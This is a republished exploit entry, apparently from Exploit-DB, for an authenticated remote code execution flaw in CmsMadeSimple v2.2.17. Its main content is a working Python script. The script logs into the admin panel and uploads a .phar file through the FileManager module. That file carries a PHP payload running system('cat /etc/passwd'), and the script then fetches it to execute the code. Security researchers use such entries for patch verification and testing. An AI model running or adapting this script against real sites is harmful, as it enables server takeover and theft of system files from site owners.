CmsMadeSimple v2.2.17 – Remote Code Execution (RCE) - 体验盒子

作者： Mirabbas Ağalarov

日期： 2023-07-19

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/51600/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

#Exploit Title: CmsMadeSimple v2.2.17 - Remote Code Execution (RCE)

#Application: CmsMadeSimple

#Version: v2.2.17

#Bugs:Remote Code Execution(RCE)

#Technology: PHP

#Vendor URL: https://www.cmsmadesimple.org/

#Software Link: https://www.cmsmadesimple.org/downloads/cmsms

#Date of found: 12-07-2023

#Author: Mirabbas Ağalarov

#Tested on: Linux

import requests

login_url = 'http://localhost/admin/login.php'

username=input('username = ')

password=input('password = ')

upload_url = 'http://localhost/admin/moduleinterface.php'

file_path = input("please phar file name but file must same directory with python file and file content : <?php echo system('cat /etc/passwd') ?>: ")

#phar file content """"<?php echo system('cat /etc/passwd') ?>"""""

login_data = {

'username': username,

'password': password,

'loginsubmit': 'Submit'

}

session = requests.Session()

response = session.post(login_url, data=login_data)

if response.status_code == 200:

print('Login account')

else:

print('Login promlem.')

exit()

files = {

'm1_files[]': open(file_path, 'rb')

}

data = {

'mact': 'FileManager,m1_,upload,0',

'__c': session.cookies['__c'],

'disable_buffer': '1'

}

response = session.post(upload_url, files=files, data=data)

if response.status_code == 200:

print('file upload')

rce_url=f"http://localhost/uploads/{file_path}"

rce=requests.get(rce_url)

print(rce.text)

else:

print('file not upload')